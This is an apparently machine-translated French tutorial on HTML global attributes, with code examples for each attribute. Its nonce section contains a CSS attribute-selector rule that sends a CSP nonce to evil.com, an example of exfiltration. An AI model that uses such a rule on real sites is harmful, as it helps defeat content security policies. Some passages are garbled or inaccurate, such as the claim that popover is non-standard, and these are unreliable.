Des attributs globaux peuvent être spécifiés pour n’importe quel élément HTML, même ceux non spécifiés dans la norme. Cela signifie que tous les éléments non standards doivent autoriser ces attributs, même si l’utilisation de ces éléments signifie que le document n’est plus conforme au HTML.
accesskey
L’attribut accesskey attribue un raccourci clavier à un élément HTML, permettant aux utilisateurs d’accéder ou d’activer rapidement l’élément en appuyant sur la touche spécifiée en combinaison avec la touche Alt (ou clé Ctrl sur Mac). Utilisation non recommandée
<p>If you need to relax, press the <b>S</b>tress reliever!</p> <button accesskey="s">Stress reliever</button>
autocapitalize
L’attribut autocapitalize contrôle le comportement de capitalisation automatique pour les éléments d’entrée et les éléments contenteditable. Il peut être installé sur on ou off, ou à des valeurs plus spécifiques telles que words, sentences ou characters, pour déterminer le comportement de capitalisation souhaité. off ou none – il n’y a pas de conversion des lettres, elles restent toutes en minuscules par défaut. on ou sentences – la première lettre de chaque phrase doit être en majuscule, les lettres restantes restent en minuscules par défaut. words – la première lettre de chaque mot d’une phrase doit être en majuscule, les lettres restantes restent en minuscules par défaut. characters – toutes les lettres doivent être en majuscules par défaut. Sur les travaux en Safari
<p><input type="text" autocapitalize="off" placeholder="off"></p> <p><input type="text" autocapitalize="sentences" placeholder="sentences"></p> <p><input type="text" autocapitalize="words" placeholder="words"></p> <p><input type="text" autocapitalize="characters" placeholder="characters"></p>
autofocus
L’attribut autofocus, lorsqu’il est appliqué à un élément de formulaire, spécifie que l’élément doit recevoir automatiquement le focus lors du chargement de la page. Ceci est particulièrement utile pour les champs de saisie dans lesquels l’utilisateur est censé fournir une saisie immédiate, tels que les champs de recherche.
contenteditable
L’attribut contenteditable détermine si le contenu de l’élément peut être modifié par l’utilisateur. Lorsque la valeur true l’élément devient modifiable, permettant aux utilisateurs de modifier son contenu directement dans le navigateur.
class
L’attribut class il s’agit d’une liste de registres des classes dépendantes de l’élément, séparés par des espaces. Les classes permettent à CSS et Javascript de sélectionner et d’accéder à l’aide de sélecteurs de classe ou de fonctions telles que des méthodes DOM document.getElementsByClassName. Les développeurs utilisent l’attribut tout le temps class. Non seulement cela facilite le style, mais cela vous aide également à mieux organiser votre code et à le rendre plus facile à maintenir.
dir
L’attribut dir spécifie la direction du texte pour le contenu de l’élément. Il peut être réglé sur ltr (de gauche à droite) ou rtl (de droite à gauche). Cet attribut est particulièrement important pour les langues qui s’écrivent de droite à gauche, comme l’arabe et l’hébreu.
<p dir="ltr">Exemple de texte français avec le sens correct.</p> <p dir="rtl">Exemple de texte français avec un sens incorrect.</p>
dragggable
L’attribut draggable détermine si l’utilisateur peut faire glisser un élément. Si réglé sur true, l’élément devient déplaçable, permettant aux utilisateurs de le déplacer au sein d’une page ou entre différentes pages ou applications. true – permet le glissement d’un élément. false – empêche le glissement d’un élément. auto – définit le comportement par défaut du navigateur.
<head>
<meta charset="utf-8">
<title>draggable</title>
<style>
.trash {
border: 1px solid #929292; /* Options de cadre */
background: url(/example/image/trash.png) no-repeat 50% 50%; /* Image d'arrière-plan */
height: 200px; /* Hauteur de la zone */
padding: 10px; /* Distance de l'image au cadre */
text-align: center; /* Alignement central */
margin-bottom: 1rem; /* Espace ci-dessous */
}
.trash img {
height: 100%; /* Hauteur de l'image */
}
img {
cursor: move; /* Changer le type de curseur */
}
</style>
<script>
function allowDrop(e) {
e.preventDefault();
}
function drag(e) {
e.dataTransfer.setData("text", e.target.id);
}
function drop(e) {
e.preventDefault();
var data = e.dataTransfer.getData("text");
e.target.appendChild(document.getElementById(data));
}
</script>
</head>
<body>
<p>Déplacez l'image dans un rectangle.</p>
<div class="trash" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
<img src="image/fig.jpg" draggable="true" alt="" ondragstart="drag(event)" id="photo">
</body>
enterkeyhint
L’attribut enterkeyhint fournit une indication au navigateur sur l’action attendue lorsque l’utilisateur appuie sur une touche Enter lors de l’interaction avec un élément d’entrée. Valeurs possibles: enter, done, go, next, previous, search et send. L’attribut enterkeyhint vous permet de modifier l’apparence et le comportement du bouton Enter sur le clavier virtuel des appareils mobiles. Cela vous permet de modifier le comportement des champs de formulaire et de donner à l’utilisateur une idée de ce à quoi s’attendre lors de l’utilisation du clavier. Si attribut enterkeyhint non précisé, le navigateur sélectionne indépendamment le type de bouton le plus adapté.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>enterkeyhint</title>
</head>
<body>
<form>
<p><input type="search" autofocus placeholder="Rechercher sur le site" enterkeyhint="search">
<button>Trouver</button></p>
</form>
</body>
</html>
hidden
L’attribut hidden — il s’agit d’un attribut booléen qui, lorsqu’il est présent, cache l’élément à l’utilisateur. Cet attribut peut être utilisé pour stocker des informations qui ne doivent pas être affichées ou pour masquer des éléments de manière conditionnelle en fonction de l’interaction de l’utilisateur. Un moyen de masquer un élément dans les cas où il ne convient pas opacity ou visibility. Contrairement aux deux autres méthodes, celle-ci est appliquée directement dans le balisage HTML. Ce n’est pas une bonne pratique d’influencer l’apparence d’une page via le balisage, mais c’est parfois exactement ce que vous souhaitez. Essentiellement, c’est display: none — c’est ainsi que cela est décrit dans les styles de navigateur.
<p hidden> Ce texte ne sera pas visible sur la page. Bien que l'élément dans le balisage soit </p>
inert
L’attribut inert, lorsqu’il est présent, empêche l’élément et ses enfants de recevoir des événements d’entrée de l’utilisateur ou d’être ciblés. Cela peut être utile pour créer des boîtes de dialogue modales ou d’autres éléments d’interface avec lesquels il ne faut pas interagir tant qu’une certaine condition n’est pas remplie. inert supprime un élément de l’ordre de navigation et de l’arborescence d’accessibilité. Cela signifie que vous ne pouvez pas cliquer dessus, vous concentrer dessus, saisir des données et les trouver via une recherche de page. Les lecteurs d’écran ne lisent pas le contenu de ces éléments et ne déclarent pas de rôles. Ceci est similaire au comportement d’un autre attribut global disabled, mais il y a une différence entre eux, — inert peut être attribué à n’importe quelle balise ou à son groupe. inert – il n’y a pas de styles par défaut. Cependant, le texte à l’intérieur d’un bloc ou d’un élément avec inert ne peut pas être distingué, mais dans le cas disabled peut. Si un bouton a des styles de survol et de focus personnalisés, alors le bouton avec inert les ignorera sans effort supplémentaire, contrairement à disabled.
[inert], [inert] * {
opacity: 0.7;
pointer-events: none;
cursor: default;
user-select: none;
}
<form inert>
<fieldset>
<legend>Durée de validité de la licence</legend>
<label for="start">Date de début</label>
<input type="date" id="start">
<label for="end">Date de fin</label>
<input type="date" id="end">
<button>Appliquer</button>
</fieldset>
</form>
inputmode
L’attribut inputmode fournit une indication au navigateur sur le type de données qui devraient être saisies par l’utilisateur dans un contrôle de formulaire, influençant la disposition du clavier virtuel. Valeurs possibles: text, decimal, numeric, tel, email, url et search. L’attribut inputmode indique le navigateur sur les appareils dotés d’un clavier à l’écran!!! quel jeu de caractères afficher lors de la saisie de données dans un champ spécifique. Indiqué pour les éléments input ou textarea.
<input type="text" inputmode="numeric"> <textarea inputmode="text"></textarea>
is
L’attribut is utilisé conjointement avec des éléments personnalisés, permettant aux développeurs de créer de nouveaux éléments HTML avec un comportement et des propriétés personnalisés. Il spécifie le nom de la définition d’élément personnalisé dont l’élément doit hériter de son comportement. Ne fonctionne pas dans Safari
customElements.define('word-count', WordCount, { extends: 'p' });
<p is="word-count"></p>
itemid
L’attribut itemid, utilisé en combinaison avec Microdata API, attribue un identifiant unique à un élément d’une page, permettant aux développeurs de créer des données structurées lisibles par machine. Attribut itemid définit un identifiant d’élément global unique pour les microdonnées. S’applique uniquement aux éléments pour lesquels des attributs sont simultanément définis itemscope et itemtype. En plus, itemid il est acceptable de l’utiliser avec des dictionnaires prenant en charge les identifiants globaux. Par exemple, pour un dictionnaire http://schema.org/Book, qui décrit des livres, un ISBN peut servir d’identifiant – un numéro international unique de publication de livre.
<body> <div itemscope itemtype="http://schema.org/Book" itemid="isbn:978-5-17-075250-8"> <h2 itemprop="name">Game of Thrones</h2> <div itemprop="author">Georges Martin</div> <div itemprop="bookFormat">Relié</div> <div itemprop="description">Une saga épique et obsédante sur le monde des Sept Royaumes.</div> </div> </body>
itemprop
L’attribut itemprop utilisé avec les microdonnées pour déterminer la propriété d’un élément, permettant aux moteurs de recherche et à d’autres outils d’extraire et de traiter des données structurées à partir d’une page Web. Attribut itemprop utilisé pour ajouter des propriétés de dictionnaire de microdonnées à un élément. Le nom de la propriété est déterminé par la valeur itemprop, et la valeur de la propriété est déterminée par le contenu de l’élément HTML, par exemple le texte situé à l’intérieur de l’élément.
<body>
<div itemscope itemtype="http://schema.org/Movie">
<div>
<h1 itemprop="name">Atlas des nuages </h1>
<span itemprop="alternativeHeadline">Cloud Atlas</span>
<img src="464484.jpg" alt="Atlas des nuages (Cloud Atlas)" itemprop="image">
</div>
<span>
<a itemprop="director" href="/name/23330/">Lana Wachowski</a>
</span>
<span>
<a itemprop="producer" href="/name/26437/">Stefan Arndt</a>
</span>
<span>
<a itemprop="musicBy" href="/name/312865/">Reinhold Heil</a>
</span>
<span>
<a itemprop="genre" href="/level/10/m_act%5Bgenre%5D/2/">fantaisie</a>
</span>
<span class="title">En vedette:</span>
<div>
<a itemprop="actor" href="/name/9144/">Tom Hanks</a>
<a itemprop="actor" href="/name/1179/">Halle Berry</a>
<a itemprop="actor" href="/name/38704/">Jim Broadbent</a>
</div>
<span itemprop="description">Six histoires - cinq réincarnations se déroulant à des moments différents, étroitement liées les unes aux autres…</span>
</div>
</body>
<div itemscope itemtype="http://schema.org/Event">
<div itemprop="name">Spinal Tap</div>
<span itemprop="description">L'un des plus grands groupes de tous les temps se réunira pour un spectacle inoubliable de deux jours.</span> Le concert aura lieu
<time itemprop="startDate" datetime="2011-05-08T19:30">8 mai в 19:30</time>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span> <span itemprop="price">$19.95</span>
<span itemprop="availability">Déjà en vente!</span>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span>
<span itemprop="price">$19.95</span>
<link itemprop="availability" href="http://schema.org/InStock"/>Déjà en vente!
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="alice.html" itemprop="url">Alice Jones</a>
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="bob.html" itemprop="url">Bob Smith</a>
</div>
Liste complète des types d’entités http://schema.org/docs/full.html
itemref
L’attribut itemref utilisé dans les microdonnées pour définir la relation entre un élément et un attribut itemscope et d’autres éléments contenant des attributs itemprop, qui appartiennent au même élément, mais ne sont pas des descendants de l’élément avec itemscope. Propriétés qui ne sont pas des enfants de l’élément avec l’attribut itemscope, peut être associé à un élément à l’aide d’un attribut itemref. La valeur de cet attribut spécifie une liste d’identifiants d’éléments qui contiennent des propriétés supplémentaires ailleurs dans le document. Attribut itemref ne peut être spécifié que pour les éléments qui contiennent l’attribut itemscope. L’attribut itemref ne fait pas partie du modèle de microdonnées. Il s’agit simplement d’une construction syntaxique pour aider les auteurs à ajouter des annotations à une page qui ne contient pas d’arborescence pratique.
<div itemscope itemtype="http://schema.org/Product" itemref="name thumb description"></div>
itemscope
L’attribut itemscope utilisé avec des microdonnées pour définir un nouvel élément, créant ainsi une portée pour les attributs itemprop, pour associer des propriétés à un élément. Attribut itemscope spécifie la portée du dictionnaire dans la structure de données. Fonctionne généralement en conjonction avec l’attribut itemtype et fixe les limites où itemtype sera actif.
itemtype
L’attribut itemtype utilisé dans les microdonnées pour définir un vocabulaire pour un élément, fournissant un contexte pour les propriétés définies à l’aide d’attributs itemprop. L’attribut itemtype spécifie l’adresse du dictionnaire qui sera utilisé pour définir les propriétés d’un élément dans la structure de données. Yandex et Google prennent en charge la norme de balisage Schema.org, en conséquence, comme valeur itemtype l’adresse du dictionnaire sur ce site est indiquée. Par exemple, pour marquer les organisations, la valeur est utilisée http://schema.org/Organization.
lang
L’attribut lang définit la langue du contenu d’un élément, améliorant l’accessibilité, permettant aux lecteurs d’écran d’utiliser des règles de prononciation correctes et aidant à la traduction.
<p>This paragraph is English, but the language is not specifically defined.</p> <p lang="en-GB">This paragraph is defined as British English.</p> <p lang="fr">Ce paragraphe est défini en français.</p>
nonce
L’attribut nonce utilisé dans la politique de sécurité du contenu (CSP) pour permettre l’exécution de certains scripts ou styles en ligne, augmentant ainsi la sécurité en empêchant l’exécution de code non autorisé.
<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Dans PHP 7+ projets à générer ‘nonce’ vous pouvez utiliser la fonction random_bytes(), dont le résultat doit être traité base64_encode() ou bin2hex():
$nonce = base64_encode( random_bytes(128/8) ); // base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw== $nonce = bin2hex( random_bytes(128/8) ); // Hex string like: 8153dd199525aed568a27dfd31038e4b
popover
L’attribut popover n’est pas un attribut global standard en HTML. Il peut faire référence à un attribut personnalisé utilisé dans certaines bibliothèques ou frameworks pour afficher des informations supplémentaires lors du survol ou du clic sur un élément.
<button popovertarget="my-popover">
Afficher le popover
</button>
<div id="my-popover" popover>
<p>Je suis un popover simple mais cool qui peut être fermé avec le même bouton</p>
</div>
<button popovertarget="my-popover" popovertargetaction="show">
Afficher le popover
</button>
<div id="my-popover" popover>
<button popovertarget="my-popover" popovertargetaction="hide">
<span aria-hidden="true">❌</span>
<span class="sr-only">Fermer</span>
</button>
<p>Je suis un popover qui ne peut pas être fermé avec le même bouton</p>
</div>
L’attribut popover il y a deux significations: auto — valeur par défaut, n’a pas besoin d’être spécifiée explicitement. Un seul est affiché à la fois. Le popover peut être fermé en cliquant à l’extérieur de l’élément; manual — vous pouvez en afficher plusieurs en même temps. Le popover ne peut pas être fermé en cliquant à l’extérieur de celui-ci.
<button popovertarget="popover-auto"> <code>popover="auto"</code> </button> Info-bulle <div id="popover-auto" popover="auto"> <p>Je ferme les autres pop-ups. Je me ferme facilement.</p> </div>
<button popovertarget="popover-manual"> <code>popover="manual"</code> </button> Info-bulle <div id="popover-manual" popover="manual"> <p>Je n'en ferme pas les autres. Je ne fermerai pas sans bouton.</p> </div>
spellcheck
L’attribut spellcheck détermine si le contenu de l’élément doit être vérifié par le navigateur pour les erreurs d’orthographe et de grammaire. Demande au navigateur de vérifier si l’orthographe et la grammaire du texte sont correctes ou non. Bien que l’attribut puisse être défini sur presque tous les éléments, l’effet ne sera perceptible que sur les champs du formulaire (input, textarea), ainsi que des éléments modifiables (ils ont l’attribut défini contenteditable). Dépend des paramètres du navigateur.
<p contenteditable="true" spellcheck="false"> Firefox ne désactive pas la vérification orthographique pour les champs modifiables (dont l'attribut est défini sur contenteditable). </p>
style
L’attribut style est utilisé pour appliquer des styles CSS en ligne directement à un élément HTML, vous permettant de modifier le style rapidement et avec précision sans avoir besoin d’une feuille de style externe. S’applique aux balises a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.
<p><span style="color: red; font-size: 2em">L</span>orem ipsum dolor sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt ut lacreet dolore magna aliguam erat volutpat.</p> <div style="width: 50%;"></div>
tabindex
L’attribut tabindex définit l’ordre dans lequel un élément reçoit le focus lorsque l’utilisateur navigue sur la page à l’aide d’une touche Tab. tabindex ainsi appelé à cause de la clé Tab, qui se déplacent entre les éléments interactifs. Cette action est aussi souvent appelée «tabulation» ou «tabulation». Signification tabindex — tout entier négatif ou positif. Par exemple, 0, 1 ou -1. 0 – L’élément est dans un ordre de navigation (ou de focus) séquentiel, mais l’ordre lui-même est déterminé par le navigateur. 1 ou un autre nombre positif – un élément dans l’ordre de navigation sans la participation du navigateur. Plus la valeur est élevée, plus l’élément est en ordre. -1 ou un autre nombre négatif – l’élément peut être cliqué, mais il n’entre pas dans l’ordre de navigation séquentiel. Autrement dit, vous ne pouvez pas vous concentrer dessus depuis le clavier, même si c’était possible auparavant. Par défaut, toutes les balises dans l’ordre de navigation ont la valeur 0. Ceci a ou area avec attribut href, button, input, select, textarea, premier élément summary à l’intérieur details, iframe et object.
Si plusieurs éléments ont les mêmes valeurs positives, ils sont classés dans l’ordre dans le code. Dans cet exemple, l’accent sera d’abord mis sur le lien «Moustaches», puis sur les «Pattes» et enfin sur la «Queue».
<a href="#mustache" tabindex="1">Moustaches</a> <a href="#paws" tabindex="1">Pattes</a> <a href="#tail" tabindex="1">Queue</a>
Tout élément prend en charge le focus s’il a tabindex
<ul>
<li tabindex="1">Un</li>
<li tabindex="0">Zéro</li>
<li tabindex="2">Deux</li>
<li tabindex="-1">Moins un</li>
</ul>
<style>
li { cursor: pointer; }
:focus { outline: 1px dashed green; }
</style>
title
L’attribut title fournit des informations supplémentaires sur un élément, généralement affichées sous forme d’info-bulle lorsque vous passez la souris sur l’élément. Ajoute une info-bulle avec du texte qui apparaît lorsque vous survolez un élément. L’apparence d’une telle info-bulle dépend des paramètres du navigateur et du système d’exploitation et ne peut pas être modifiée directement à l’aide du code ou des styles HTML. Attribut alt utilisé pour les images dans la balise HTML img. Il contient un texte alternatif qui s’affiche lorsque l’image ne se charge pas pour une raison quelconque.
<p title="Me voici!">Exemple d'info-bulle</p> <img alt="le chat se tient sur deux pattes et regarde par la fenêtre" src="lien_vers_image.jpg">
translate
L’attribut translate spécifie si le contenu de l’élément doit être traduit lorsque la page est localisée, vous donnant ainsi plus de contrôle sur le processus de traduction. Attribut translate détermine si le contenu d’un élément donné peut être traduit ou non. La traduction peut être effectuée par divers services automatisés, tels que Google Translate.
<p translate="no">Ceci ne doit pas être traduit!</p> <p>Ce texte peut être traduit dans n'importe quelle langue.</p>
L’attribut est pris en compte par les systèmes de traduction
